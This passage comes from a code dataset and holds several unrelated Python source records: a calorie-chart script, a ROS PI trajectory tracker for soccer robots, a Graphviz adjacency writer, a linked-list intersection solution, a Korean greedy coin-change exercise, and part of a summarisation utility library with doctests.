Loss', 'Standard Weight loss', 'Mild Weight Loss', 'Maintain', 'Bulk']\nplt.xticks(x, labels)\n\n# Start and stop point for arrows made into variables\nxy_arrowy = total_calories_needed - 50\nxytext_arrowy = consumed_today + 50\n\n# Arrow section\nax.annotate(\"\",\n            # Arrow head\n            xy=(weight_goal, xy_arrowy), xycoords='data',\n            # Arrow base\n            xytext=(weight_goal, xytext_arrowy), textcoords='data',\n            # Curved arrow\n            size=40, va=\"center\", ha=\"center\",\n            arrowprops=dict(arrowstyle=\"simple\",\n                            color=\"red\",\n                            connectionstyle=\"arc3,rad=-0.1\"),\n            )\n\n# Auto Wrapping text\n\nt = (f\"Consume {round(calories_needed_math, 2)} more calories today to meet your daily Goal\")\nplt.text(weight_goal, xy_arrowy - 300, t, fontsize=14, family='serif', style='italic', ha='left', rotation=-15, wrap=True)\n\n# Makes the graph show\nplt.show()\nplt.axis([0, 5, 0, 4000])\n\n# Bar graph\n#=============================================================================================\n\nlabels = ['Hight Weight Loss', 'Standard Weight loss', 'Mild Weight Loss', 'Maintain', 'Bulk']\ncalories_consumed = [consumed_today, consumed_today, consumed_today, consumed_today, consumed_today]\ncalories_needed = [round(high_weight_loss, 1), round(standard_weight_loss, 1), round(mild_weight_loss, 1), round(maintain, 1), round(bulking, 1)]\n\nx = np.arange(len(labels))  # the label locations\nwidth = 0.35  # the width of the bars\n\nfig, ax = plt.subplots()\nrects1 = ax.bar(x - width/2, calories_consumed, width, label='Consumed Calories')\nrects2 = ax.bar(x + width/2, calories_needed, width, label='Needed Calories')\n\n# Add some text for labels, title and custom x-axis tick labels, etc.\nax.set_ylabel('Calories')\nax.set_title('Calories Needed For Exercise Level')\nax.set_xticks(x)\nax.set_xticklabels(labels)\nax.legend()\n\n\ndef autolabel(rects):\n    \"\"\"Attach a text label above each bar in *rects*, displaying its height.\"\"\"\n    for rect in rects:\n        height = rect.get_height()\n        ax.annotate('{}'.format(height),\n                    xy=(rect.get_x() + rect.get_width() / 2, height),\n                    xytext=(0, 3),  # 3 points vertical offset\n                    textcoords=\"offset points\",\n                    ha='center', va='bottom')\n\n\nautolabel(rects1)\nautolabel(rects2)\n\nfig.tight_layout()\n\nplt.show()","repo_name":"PdxCodeGuild/class_orca","sub_path":"code/matthew/python/mini_capstone.py","file_name":"mini_capstone.py","file_ext":"py","file_size_in_byte":7314,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"18901648253","text":"import sys\nimport rospy\nfrom subscriber import *\nimport nubot_common.msg as nubotmsg\nimport numpy as np\nimport math\n\nclass PITracker(RobotSubscriber, GoalSubscriber) :\n    def __init__(self, *args, **kwargs):\n        agent_id = 1\n        all_names = rospy.get_param_names()\n        if '/agent_id' in all_names :\n            rospy.logwarn('retrieve agent_id from param')\n            agent_id = rospy.get_param('/agent_id')\n        rospy.logwarn('agent : %s'%agent_id)\n        # initialize super class\n        GoalSubscriber.__init__(self)\n        RobotSubscriber.__init__(self,'/nubot'+str(agent_id)+'/omnivision/OmniVisionInfo', agent_id)\n        ### create nav path subscriber\n        self.sub = {\n            'pos' : TrajectorySubscriber('robosoccer_trajectory_pos'),\n            'vel' : TrajectorySubscriber('robosoccer_trajectory_vel')\n        }\n        self.sub['pos'].register_callback(self.trajectory_callback)\n        self.pub = rospy.Publisher('/nubot'+str(agent_id)+'/nubotcontrol/velcmd', nubotmsg.VelCmd, queue_size=3)\n        self.error = {\n            'x' : .0, 'y' : .0, 'w' : .0,\n            'sum' : {\n                # sum for compute integral part of control\n                'x' : .0, 'y' : .0, 'w' : .0,\n            }\n        }\n        self.control = {\n            'x' : .0, 'y' : .0, 'w' : .0,\n            'com' : {\n                # commanded velocity\n                'x' : .0, 'y' : .0, 'w' : .0,\n            }\n        }\n        self.pid = {\n            # some tuning parameter\n            'p' : np.diag([1., 1., 1.]), \n            'i' : np.diag([.2, .2, .2])\n        }\n        # characteristic polynomial for computing gain\n        self.char_poly = {\n            'p' : np.diag([.7, .7, .7]), \n            'i' : np.diag([.05, .05, .05])\n        }\n        # command (or reference if you like)\n        self.command = {\n            'pos' : {'x' : .0, 'y' : .0, 'w' : .0,},\n            'vel' : {'x' : .0, 'y' : .0, 'w' : .0,}\n        }\n        self.enable = False\n        rospy.logwarn('READY')\n\n    def compute_gain_from_char_poly(self) :\n        # t0 = rospy.get_time()\n        pos, vel = self.command['pos'], self.command['vel']\n        poly = self.char_poly\n        c, s = math.cos(pos['w']), math.cos(pos['w'])\n        u, v = vel['x'], vel['y']\n        B = np.matrix([[c, -s, 0],[s, c, 0],[0, 0, 1]])\n        A = np.matrix([[0, 0, -u*s-v*c],[0, 0, u*c-v*s],[0, 0, 0]])\n        self.pid = {\n            # inverse of rotation matrix is it's transpose\n            'i' : -1 * B.transpose() * poly['i'],\n            'p' : B.transpose() * (A - poly['p'])\n            # 'p' : np.linalg.inv(-1 * B) * poly['p'],\n            # 'i' : np.linalg.inv(B) * (A - poly['i'])\n        }\n        # rospy.loginfo('computed gain in %s s'%(rospy.get_time() - t0))\n    \n    def compute_control(self) :\n        t0 = rospy.get_time()\n        c, pid, e = self.control, self.pid, self.error\n        s = e['sum']\n        p_term = pid['p'] * np.matrix([[e['x']], [e['x']], [e['w']]])\n        i_term = pid['i'] * np.matrix([[s['x']], [s['y']], [s['w']]])\n        c['x'] = c['com']['x'] + p_term[0] + i_term[0]\n        c['y'] = c['com']['y'] + p_term[1] + i_term[1]\n        c['w'] = c['com']['w'] + p_term[2] + i_term[2]\n        rospy.loginfo('computed control in %s s'%(rospy.get_time() - t0))\n        # for k in set(control.keys()).intersection(error.keys()) :\n        #     control[k] = control['com'][k] + pid['p'] * error[k] + pid['i'] * error['sum'][k]\n\n    def compute_error(self, time) :\n        sub = self.sub\n        idx = 0\n        l = len(sub['pos'].t)\n        # if ref is empty we can't do anything\n        if l < 1 : return False\n        t0 = rospy.get_time()\n        pos, vel = sub['pos'], sub['vel']\n        # if indexed time behid reference, take first element\n        # if beyond last ref, take the last\n        # iterate if in between\n        rx = (pos.x[0], pos.x[0])\n        ry = (pos.y[0], pos.y[0])\n        rw = (pos.w[0], pos.w[0])\n        rvx = (vel.x[0], vel.x[0])\n        rvy = (vel.y[0], vel.y[0])\n        rvw = (vel.w[0], vel.w[0])\n        if time < sub['pos'].t[0] : idx = 0\n        elif time > sub['pos'].t[-1] : \n            idx = l-1 \n            rx = (pos.x[idx], pos.x[idx])\n            ry = (pos.y[idx], pos.y[idx])\n            rw = (pos.w[idx], pos.w[idx])\n            rvx = (vel.x[idx], vel.x[idx])\n            rvy = (vel.y[idx], vel.y[idx])\n            rvw = (vel.w[idx], vel.w[idx])\n        else :\n            for i in range(l) :\n                if i == 0 : continue\n                t = (sub['pos'].t[i-1], sub['pos'].t[i])\n                if (time > t[0]) and (time < t[1]) :\n                    idx = i\n                    rx = (pos.x[i-1], pos.x[i])\n                    ry = (pos.y[i-1], pos.y[i])\n                    rw = (pos.w[i-1], pos.w[i])\n                    rvx = (vel.x[i-1], vel.x[i])\n                    rvy = (vel.y[i-1], vel.y[i])\n                    rvw = (vel.w[i-1], vel.w[i])\n                    break\n        i = idx\n        t = (sub['pos'].t[i-1], sub['pos'].t[i])\n        if i==0 : t = (sub['pos'].t[0], sub['pos'].t[0])\n        if (time > t[0]) and (time < t[1]) :\n            dt = time - t[0]\n            ref = self.command\n            # save reference trajectory\n            ref['vel'] = {\n                'x' : (rvx[0] + (rvx[1]-rvx[0]) * dt),\n                'y' : (rvy[0] + (rvy[1]-rvy[0]) * dt),\n                'w' : (rvw[0] + (rvw[1]-rvw[0]) * dt)\n            }\n            ref['pos'] = {\n                'x' : (rx[0] + (rx[1]-rx[0]) * dt),\n                'y' : (ry[0] + (ry[1]-ry[0]) * dt),\n                'w' : (rw[0] + (rw[1]-rw[0]) * dt)\n            }\n            self.control['com'] = self.command['vel']\n            # compute error\n            ## get computed error\n            sum, ex = self.error['sum'], self.error['x']\n            ey, ew = self.error['y'], self.error['w']\n            ex = self.pos[0] - ref['pos']['x']\n            ey = self.pos[1] - ref['pos']['y']\n            ## TODO : fix angle shortest path!!!\n            ew = self.pos[2] - ref['pos']['w']\n            # sum the error for integral term\n            sum['x'] = sum['x'] + ex\n            sum['y'] = sum['y'] + ey\n            sum['w'] = sum['w'] + ew\n            rospy.loginfo('computed error in %s s'%(rospy.get_time()-t0))\n            return True\n        return False\n\n    def publish(self) :\n        e, c, k = self.error, self.control, self.pid\n        s = e['sum']\n        vel = nubotmsg.VelCmd()\n        vel.Vx, vel.Vy, vel.w = c['x'], c['y'], c['w']\n        p, i = k['p'], k['i']\n        rospy.logwarn('command\\t:(%s,%s,%s)'%(c['com'][0],c['com'][1],c['com'][1]))\n        rospy.logwarn('gain:\\nKP\\n:%s\\nKI:\\n%s)'%(p,i))\n        rospy.logwarn('error\\t:(%s,%s,%s)'%(e['x'],e['y'],e['w']))\n        rospy.logwarn('control\\t:(%s,%s,%s)'%(c['x'],c['y'],c['w']))\n        self.pub.publish(vel)\n\n    def trajectory_callback(self, t, x, y, w) :\n        # reset error when new trajectory is received\n        self.error = {\n            'x' : .0, 'y' : .0, 'w' : .0,\n            'sum' : {\n                # sum for compute integral part of control\n                'x' : .0, 'y' : .0, 'w' : .0,\n            }\n        }\n        self.enable = True\n\n    def goal_callback(self, msg) :\n        rospy.loginfo('pi_tracker goal callback :')\n        super(PITracker, self).goal_callback(msg)\n        # reset error when goal is changed\n        self.error = {\n            'x' : .0, 'y' : .0, 'w' : .0,\n            'sum' : {\n                # sum for compute integral part of control\n                'x' : .0, 'y' : .0, 'w' : .0,\n            }\n        }\n        self.enable = True\n    \n    def callback(self, msg) :\n        rospy.loginfo('pi_tracker update :')\n        super(PITracker, self).callback(msg)\n        # time = self.header.stamp.to_sec()\n        time = rospy.get_time()\n        if self.compute_error(time) :\n            self.compute_gain_from_char_poly()\n            self.compute_control()\n            self.publish()","repo_name":"alifahrri/robosoccer_motion_planning","sub_path":"src/robosoccer_trajectory_tracking/scripts/tracker.py","file_name":"tracker.py","file_ext":"py","file_size_in_byte":7954,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"16"}
+{"seq_id":"19941935811","text":"adjacencias = []\n\nwith open(\"v1.out\",\"r\") as f:\n    for line in f:\n        line = line.strip()\n        line = line.replace(\",\",\"--\")\n        adjacencias.append(line)\n\nprint(adjacencias)\n\nstr_adj = \" \"\nfor i in range(len(adjacencias)-1):\n    str_adj += adjacencias[i] + \"; \"\n\nstr_adj+=adjacencias[-1]+\" \"\n\nwith open(\"grafo.dot\", \"w\") as f:\n    f.write(\"graph G {\")\n    f.write(str_adj)\n    f.write(\"} \")","repo_name":"JaasielAbner/Iris-Plotly","sub_path":"Plot2D/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"9072235009","text":"# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.next = None\n\nclass Solution:\n    def getIntersectionNode(self, headA: ListNode, headB: ListNode) -> ListNode:\n        temp_head_1 = headA\n        temp_head_2 = headB\n\n        h1 = temp_head_1\n        h2 = temp_head_2\n\n        while h1:\n            h3 = h2\n            while h3:\n                if h1 == h3:\n                    print(\"Intersected at '{}'\".format(h1.val))\n                    return h1\n                h3 = h3.next\n            h1 = h1.next","repo_name":"shhotu010/dsa_with_python","sub_path":"13_Linked_List_Problems/09_intersection_point.py","file_name":"09_intersection_point.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"25602010542","text":"# 만들 수 없는 금액\n\n# 동네 편의점의 주인인 동빈이는 N개의 동전을 가지고 있습니다. \n# 이때 N개의 동전을 이용하여 만들 수 없는 양의 정수 금액 중 최솟값을 구하는 프로그램을 작성하세요.\n# 예를 들어, N = 5 이고, 각 동전이 각각 3, 5, 7원 짜리 동전이라고 가정합시다.\n# 이때 동빈이가 만들 수 없는 양의 정수 금액 중 최솟 값은 1원입니다.\n\n# 입력\n# 5\n# 3 2 1 1 9\n\n# 출력\n# 8\n\nn = int(input())\ncoin_list = list(map(int, input().split()))\n\ncoin_list.sort(reverse= True)\n\n# for target in range(1,1000001):\n#     result = target\n#     for coin in coin_list:\n#         if target - coin >= 0:\n#             target -=coin\n#     if target != 0:\n#         print(result)\n#         break\ntarget = 1\nfor x in coin_list:\n    if target < x:\n        break\n    target += x\nprint(target)","repo_name":"HRDI0/This_is_coding_test","sub_path":"#This is coding test-greedy_7.py","file_name":"#This is coding test-greedy_7.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43207083970","text":"'''\nCreated on May 3, 2018\n\n@author: janis\n'''\nimport enum\nfrom types import SimpleNamespace\nimport typing\n\nfrom colito.resolvers import make_enum_resolver\nfrom colito.logging import getModuleLogger\nimport warnings\n\nlog = getModuleLogger(__name__)\n\nclass SummaryError(Exception): pass\n\nclass SummaryOptions(SimpleNamespace):\n    def __init__(self, compact=False,  **kwargs):\n        super().__init__(compact=compact, **kwargs)\n\nDEFAULT_SUMMARY_OPTIONS = SummaryOptions()\n\nclass OnMissing(enum.Enum):\n    OMMIT = enum.auto()\n    RAISE = enum.auto()\n    USE_NONE = enum.auto()\n\nON_MISSING_RESOLVER = make_enum_resolver(OnMissing)\n\n\ndef summary_from_fields(instance, fields, missing=OnMissing.RAISE):\n    '''Create a dict from given fields'''\n    global ON_MISSING_RESOLVER\n    missing = ON_MISSING_RESOLVER.resolve(missing)\n    def getattrof(field):\n        return getattr(instance,field)\n    flds = fields\n    if missing == OnMissing.RAISE:\n        def fieldvalue(field):\n            try:\n                return getattrof(field)\n            except AttributeError:\n                raise SummaryError(f'No field {field} while summarising instance of type {type(instance).__name__}', instance)\n    elif missing == OnMissing.OMMIT:\n        fieldvalue = getattrof\n        flds = tuple(f for f in fields if hasattr(instance, f))\n    elif missing == OnMissing.USE_NONE:\n        def fieldvalue(field):\n            try:\n                return getattrof(field)\n            except AttributeError:\n                return None\n    vals = (fieldvalue(fld) for fld in flds)\n    return dict(zip(flds, vals))\n\ndef summarise_exception(exc, summary_options:SummaryOptions):\n    import traceback as tb\n    dct = {'message':str(exc), 'type':type(exc).__name__}\n    if hasattr(exc, '__traceback__') and exc.__traceback__ is not None:\n        frames = tb.extract_tb(exc.__traceback__)\n        dct_frames = []\n        for frame in frames:\n            dct_frames.append({'name':frame.name,'lineno':frame.lineno,'line':frame.line,'file':frame.file})\n        dct['frames'] = dct_frames\n        if frames:\n            dct.update({f'last_{k}':v for k,v in dct['frames'][0].items()})\n    if hasattr(exc,'__context__') and exc.__context__ is not None:\n        dct['context'] = summarise_exception(exc.__context__, summary_options)\n    return dct\n\n\nclass Summarisable:\n    summary_sibling_priority:int = 0\n    __slots__ = ()\n    def __summary__(self, options:SummaryOptions = DEFAULT_SUMMARY_OPTIONS):\n        '''The parameters to be included in the summary as a dict'''\n        raise NotImplementedError()\n\n    @property\n    def __summary_name__(self) -> str:\n        '''The name of this summary object'''\n        return self.__class__.__name__\n\n\nclass SummarisableAsDict(Summarisable):\n    __summary_conversions__ = {}\n    __slots__ = ()\n    def __summary__(self, options: SummaryOptions = DEFAULT_SUMMARY_OPTIONS):\n        smr = self.__summary_dict__(options)\n        sc = _get_summary_conversions(self)\n        convs = sc(self.__class__)\n        for key,fn in convs.items():\n            if key in smr:\n                smr[key] = fn(smr[key])\n            elif isinstance(key, type):\n                for smr_key, smr_val in smr.items():\n                    if isinstance(smr_val, key):\n                        smr[smr_key] = fn(smr_val)\n        return SummarisableDict(smr)\n\n    def __summary_dict__(self, options:SummaryOptions) -> typing.Dict[str, typing.Any]:\n        raise NotImplementedError()\n\n    def __repr__(self):\n        dct = self.__summary_dict__(SummaryOptions(compact=True))\n        params_txt = ','.join(f'{key}={value!r}' for key,value in dct.items())\n        return f'<{self.__class__.__name__}({params_txt})>'\n\nclass SummaryFields(list):\n    '''Used as a base class for the __summary_fields__ member.'''\n    __slots__ = ()\n    def __call__(self, cls):\n        return list(self)\n\ndef _get_summary_fields(what):\n    try:\n        sf = what.__summary_fields__\n        if isinstance(sf, SummaryFields):\n            return sf\n        else:\n            return SummaryFields(sf)\n    except AttributeError:\n        return SummaryFields()\n\nclass SummaryFieldsAppend(SummaryFields):\n    '''When used as a __summary_fields__ member it prepends the base class fields.'''\n    __slots__ = ()\n    def __call__(self, cls):\n        fields = super().__call__(cls)\n        base = cls.__bases__[0]\n        base_fields = _get_summary_fields(base)\n        return base_fields(base) + fields\n\nclass SummaryConversions(dict):\n    '''Used as a base class for the __summary_conversions__ member.'''\n    __slots__ = ()\n    def __call__(self, cls):\n        return dict(self)\n\ndef _get_summary_conversions(what):\n    try:\n        sc = what.__summary_conversions__\n        if isinstance(sc, SummaryConversions):\n            return sc\n        else:\n            return SummaryConversions(sc)\n    except AttributeError:\n        return SummaryConversions()\n\nclass SummaryConversionsAppend(SummaryConversions):\n    '''When used as a __summary_conversions__ member it prepends the base class fields.'''\n    def __call__(self, cls):\n        convs = super().__call__(cls)\n        base = cls.__bases__[0]\n        base_convs = _get_summary_conversions(base)\n        return {**base_convs(base), **convs}\n    \nclass SummarisableFromFields(SummarisableAsDict):\n    \"\"\" Create a summarisable object with fields those in the __summary_fields__ entry.\n    \n    \n    >>> class Test(SimpleNamespace, SummarisableFromFields):\n    ...     __summary_fields__ = ['a','b']\n    >>> t = Test(a=4,b=5,c=6)\n    >>> t.__summary__()\n    {'a': 4, 'b': 5}\n    >>> class Derived(Test):\n    ...     __summary_fields__ = ['c','e']\n    >>> d = Derived(a=1,b=2,c=3,d=4,e=5,f=6)\n    >>> d.__summary__()\n    {'c': 3, 'e': 5}\n    >>> Derived.__summary_fields__ = SummaryFieldsAppend(['c','e'])\n    >>> d.__summary__()\n    {'a': 1, 'b': 2, 'c': 3, 'e': 5}\n    \"\"\"\n    #: Specify the fields used for the summary.\n    __summary_fields__ = {}\n    __slots__ = ()\n    #: Specify the action in case of a missing field.\n    __summary_onmissing__ = OnMissing.RAISE\n    def __summary_dict__(self, options:SummaryOptions) -> typing.Dict[str, typing.Any]:\n        sf = _get_summary_fields(self)\n        fields = sf(self.__class__)\n        return summary_from_fields(self, fields, missing=self.__summary_onmissing__)\n\nclass SummarisableDict(dict, SummarisableAsDict):\n    __slots__ = ()\n    def __summary_dict__(self, options:SummaryOptions) -> typing.Dict[str, typing.Any]:\n        return self\n\nclass SummarisableException(Exception, SummarisableAsDict):\n    __slots__ = ()\n    def __summary_dict__(self, summary_options:SummaryOptions):\n        return summarise_exception(self, summary_options)\n        \n\nclass SummarisableAsList(Summarisable):\n    __slots__ = ()\n    def __summary__(self, options:SummaryOptions = DEFAULT_SUMMARY_OPTIONS):\n        smr = self.__summary_list__(options)\n        return SummarisableList(smr)\n\n    def __summary_list__(self, options:SummaryOptions) -> typing.List:\n        raise NotImplementedError()\n\nclass SummarisableList(list, SummarisableAsList):\n    __slots__ = ()\n    def __summary_list__(self, options:SummaryOptions) -> typing.List:\n        return self\n\n\nclass SummaryState:\n\n    def __init__(self, instance, depth, value=None, name=None, parent=None, key=None, must_summarise=None, priority:int=None) -> None:\n        self.instance = instance\n        self.value = value if value is not None else instance\n        self.name = name if name is not None else type(self.value).__name__\n        self.depth = depth\n        self.parent:SummaryState = parent\n        self.key = key\n        self.must_summarise = must_summarise if must_summarise is not None else isinstance(self.value, Summarisable) \n        self.priority:int = priority if priority is not None else self.value.summary_sibling_priority if hasattr(self.value,'summary_sibling_priority') else 0\n    @property\n    def cls(self):\n        return type(self.instance).__name__\n    \n    def __repr__(self):\n        s = str(self.value)\n        sval = f'\"{s:.17}\"...' if len(s)>20 else f'\"{s}\"'\n        sname = f'{self.key}=' if self.key is not None else f'{self.name}=' if self.name is not None else \"\"\n        return f'<State[{\"S\" if self.must_summarise else \"s\"}@{self.depth}]{sname}{sval}>'\n    @property\n    def path(self):\n        path = []\n        parent = self\n        while True:\n            name = parent.key if parent.key is not None else parent.name\n            path.append(name)\n            parent = parent.parent\n            if parent is None:\n                break\n            if isinstance(parent.value, dict):\n                path[-1] = f'.{path[-1]}'\n            elif isinstance(parent.value, list):\n                path[-1] = f'[{path[-1]}]'\n            else:\n                raise TypeError(f'Unknown parent value type {type(parent.value).__name__}')\n        spath = ''.join(path[::-1]) \n        return spath\n\nclass SummaryVisitor:\n    def on_start(self, state:SummaryState, actions): pass\n    def on_encounter(self, state:SummaryState, actions): pass\n    def on_children(self, state:SummaryState, actions, new_actions): pass\n    def on_summarised(self, state:SummaryState, actions): pass\n    def on_assemble(self, state:SummaryState, actions):pass\n\n\nclass StopFiltering(Exception): pass\n\nclass OnError(enum.Enum):\n    IGNORE = enum.auto()\n    SUMMARISE = enum.auto()\n    RAISE = enum.auto()\n    \nON_ERROR_RESOLVER = make_enum_resolver(OnError)\n\nclass Summariser:\n    '''Summariser class\n    \n    >>> s = Summariser()\n    >>> o = {'a':'1','b':2}\n    >>> s(o)\n    {'a': '1', 'b': 2}\n    >>> class Container(SimpleNamespace, SummarisableFromFields):\n    ...     __summary_fields__ = ['a','b']\n    ...     __summary_onmissing__ = 'ommit'\n    >>> c = Container(a=1,b=Container(a=11,b=Container(a=111)))\n    >>> s(c)\n    {'a': 1, 'b': {'a': 11, 'b': {'a': 111}}}\n    >>> c1 = Container(a=SummarisableList([Container(a='l0',b='l1'),Container(a='L0',b='L1')]))\n    >>> s(c1)\n    {'a': [{'a': 'l0', 'b': 'l1'}, {'a': 'L0', 'b': 'L1'}]}\n    '''\n    def __init__(self, visitors:typing.Sequence[SummaryVisitor]=[], options:SummaryOptions=DEFAULT_SUMMARY_OPTIONS, onerror=OnError.RAISE):\n        self.visitors = []\n        for v in visitors:\n            self.add_visitor(v)\n        self.options = options\n        self.onerror = ON_ERROR_RESOLVER.resolve(onerror)\n\n    def add_visitor(self, state_visitor:SummaryVisitor):\n        self.visitors.append(state_visitor)\n        return self\n        \n    class SummaryAction:\n        def __init__(self, summariser, state):\n            self.summariser = summariser\n            self.state = state\n        @property\n        def priority(self): return self.state.priority\n        @property\n        def options(self): return self.summariser.options\n        def __call__(self, actions):\n            raise NotImplementedError()\n        def __repr__(self):\n            return f'<{self.__class__.__name__} ({self.state})>'\n    \n    class SummariseAction(SummaryAction):\n        def __init__(self, summariser, state):\n            super().__init__(summariser=summariser,state=state)\n        @property\n        def isroot(self): return self.parent is None\n        \n        def __call__(self, actions):\n            state = self.state\n            self.summariser.notify('encounter', state, actions)\n            AssembleAction = self.summariser.AssembleAction\n            value = state.value\n            options = self.options\n            if isinstance(value, Summarisable) and state.must_summarise:\n                state.value = value.__summary__(options)\n                state.name = value.__summary_name__\n                state.must_summarise = False\n            self.summariser.notify('summarised', state, actions)\n            if isinstance(state.value, (SummarisableDict, SummarisableList)):\n                new_actions_children = []\n                if isinstance(state.value, SummarisableDict):\n                    state.value = dict(state.value)\n                    for key,entry in state.value.items():\n                        new_actions_children.append(self.process_key(state, actions, key, entry))\n                elif isinstance(state.value, SummarisableList):\n                    state.value = list(state.value)\n                    for key,entry in enumerate(state.value):\n                        new_actions_children.append(self.process_key(state, actions, key, entry))\n                action_assemble = AssembleAction(summariser=self.summariser, state=state)\n                new_actions = [action_assemble] + new_actions_children\n                new_actions_srt = sorted(new_actions, key = lambda a:a.priority)\n                self.summariser.notify('children',state, actions, new_actions=new_actions_srt)\n                actions += new_actions_srt\n            else:\n                if state.parent is not None:\n                    state.parent.value[state.key] = state.value\n            return state.value\n        def process_key(self, state, actions, key, entry):\n            SummariseAction = self.summariser.SummariseAction\n            sub_state = SummaryState(entry, depth=state.depth+1, parent=state, key = key)\n            action = SummariseAction(self.summariser, sub_state)\n            return action\n\n    class AssembleAction(SummaryAction):\n        priority = -1000 # overrides state priority. If the child state of the root has a lower priority than this, it overrides the final value of the summariser.\n        def __call__(self,actions):\n            state = self.state\n            self.summariser.notify('assemble', state=state, actions=actions)\n            if state.parent is not None:\n                state.parent.value[state.key] = state.value\n            return state.value\n    \n    \n    def notify(self, event, state, actions, *args, **kwargs):\n        try:\n            for v in self.visitors[::-1]:\n                fn = getattr(v,f'on_{event}')\n                fn(state=state, actions=actions, **kwargs)\n        except StopFiltering:\n            pass\n        except Exception as e:\n            if self.onerror == OnError.SUMMARISE:\n                log.exception(f'Error during event {event} state {state}: {e}')\n                state.value = {'summary_error':str(e),'state':str(state),'error_type':type(e).__name__}\n            else:\n                raise\n    def _initialise(self, instance, depth):\n        state = SummaryState(instance, depth=depth)\n        actions = [self.SummariseAction(self, state)]\n        self.notify('start', state, actions)\n        return actions\n    def __call__(self, instance, depth=0):\n        actions = self._initialise(instance, depth)\n        while actions:\n            action = actions.pop()\n            try:\n                res = action(actions)\n            except Exception as e:\n                if self.onerror == OnError.IGNORE:\n                    log.warn(f'Summary error during handling of action {action}.')\n                else:\n                    raise SummaryError(f'While performing action {action}.') from e\n                    \n        return res\n\nclass ConvertingVisitorBase(SummaryVisitor):\n    def on_assemble(self, state:SummaryState, actions):\n        if isinstance(state.value, dict):\n            for key,value in state.value.items():\n                self.process_entry(state, key, value)\n        elif isinstance(state.value, list):\n            for key, value in enumerate(state.value):\n                self.process_entry(state, key, value)\n        \n    def process_entry(self, state, key, value):\n        pass\n\nclass ConvertListedVisitorMixin(SummaryVisitor):\n    \n    def __init__(self, *args, converters:typing.Dict[type, typing.Callable], **kwargs):\n        self._converters = converters\n        self._classes = tuple(converters.keys())\n        super().__init__(*args, **kwargs)\n                \n    def process_entry(self, state, key, value):\n        super().process_entry(state, key, value)\n        if isinstance(value, self._classes):\n            for cls, conv in self._converters.items():\n                if isinstance(value, cls):\n                    res = conv(value)\n                    state.value[key] = res\n                    break\n\n\nclass ConvertDisallowedlowedVisitorMixin(SummaryVisitor):\n    def __init__(self, *args, allowed_types: typing.Sequence[type], **kwargs):\n        self._allowed_types = tuple(allowed_types)\n        super().__init__(*args, **kwargs)\n    \n    def process_entry(self, state, key, value):\n        super().process_entry(state, key, value)\n        if not isinstance(value, self._allowed_types):\n            self.convert_disallowed(state, key, value)\n\n    def convert_disallowed(self, state, key, value):\n        state.value[key] = str(value)\n    \n\nclass JSONDisallowedTypeWarning(Warning): pass\nclass JSONConvertingVisitor(ConvertDisallowedlowedVisitorMixin, ConvertingVisitorBase):\n    __allowed_types__ = [dict, str, list, int, float, tuple, type(None)]\n    def __init__(self, warn=True):\n        super().__init__(allowed_types=self.__allowed_types__)\n        self._warn = True\n    def convert_disallowed(self, state, key, value):\n        super().convert_disallowed(state, key, value)\n        if self._warn:\n            warnings.warn(JSONDisallowedTypeWarning(f'Disallowed type {type(value).__name__} at {key} of {state} at {state.path}'))\n\nclass NamingVisitor(SummaryVisitor):\n    \"\"\" A visitor that provides names to the objects in the summary.\n    \n    >>> class Container(SimpleNamespace, SummarisableFromFields):\n    ...     __summary_fields__ = ['a','b']\n    ...     __summary_onmissing__ = 'ommit'\n    >>> o = Container(a=1,b=SummarisableList([4,5]))\n    >>> Summariser(visitors = [NamingVisitor(False,False)])(o)\n    {'name': 'Container', 'records': {'a': 1, 'b': {'class': 'SummarisableList', 'entries': [4, 5]}}}\n    >>> Summariser(visitors = [NamingVisitor(True,False)])(o)\n    {'class': 'Container', 'a': 1, 'b': {'class': 'SummarisableList', 'entries': [4, 5]}}\n    >>> Summariser(visitors = [NamingVisitor(False,True)])(o)\n    {'name': 'Container', 'records': {'a': 1, 'b': [4, 5]}}\n    >>> Summariser(visitors = [NamingVisitor(True,True)])(o)\n    {'class': 'Container', 'a': 1, 'b': [4, 5]}\n    \"\"\"\n\n    def __init__(self,flatten_dicts:bool=True, flatten_lists:bool=True):\n        self.flatten_dicts = flatten_dicts\n        self.flatten_lists = flatten_lists\n         \n    def on_assemble(self, state, actions):\n        if isinstance(state.value, dict):\n            if self.flatten_dicts:\n                state.value = {'class':state.name, **state.value}\n            else:\n                state.value = {'name':state.name, 'records': state.value}\n        elif isinstance(state.value, list):\n            if self.flatten_lists:\n                pass\n            else:\n                state.value = {'class':state.name, 'entries': state.value}\nclass NamedSummariser(Summariser):\n    def __init__(self, *args, flatten_dicts:bool=True, flatten_lists:bool=True,**kwargs):\n        super().__init__(*args, **kwargs)\n        self.add_visitor(NamingVisitor(flatten_dicts=flatten_dicts, flatten_lists=flatten_lists))\n\n\nclass Fields(dict):\n    def __init__(self, name, pairs):\n        self.pairs = list(pairs)\n        self.name = name\n        super().__init__(pairs)\n    \n    def copy(self):\n        return Fields(str(self.name), list(self.items()))\n    \n    def __iadd__(self, fields:'Fields'):\n        if not isinstance(fields, Fields):\n            raise TypeError(f'Cannot combine class {self.__class__.__name__} with {fields.__class__.__name__}.')\n        self.pairs.append((fields.name,fields))\n        return self\n        \n    def __add__(self, fields:'Fields'):\n        fields_new = self.copy()\n        fields_new += fields\n        return fields_new\n    \n    def __repr__(self):\n        return f'<{self.__class__.__name__} with {len(self)} fields>'\n    \n    def dump(self, sep='=', newline='\\n', align_keys=False, pad=0, use_repr=True, prefix=''):\n        if align_keys:\n            key_size = max(map(len, self.keys()))\n            key_mod = f':{align_keys if isinstance(align_keys,str) else \"\"}{key_size}'\n        else:\n            key_mod = ''\n        fmt = f'{prefix}{{key!s{key_mod}}}{\" \"*pad}{sep}{\" \"*pad}{{value{\"!r\" if use_repr else \"!s\"}}}'\n        text = newline.join(fmt.format(key=key, value=value) for key,value in self.items())\n        return text\n    \n    def flatten(self, sep='.'):\n        \"\"\"Flatten the fields of this SummaryFields into a new one.\n        \n        The 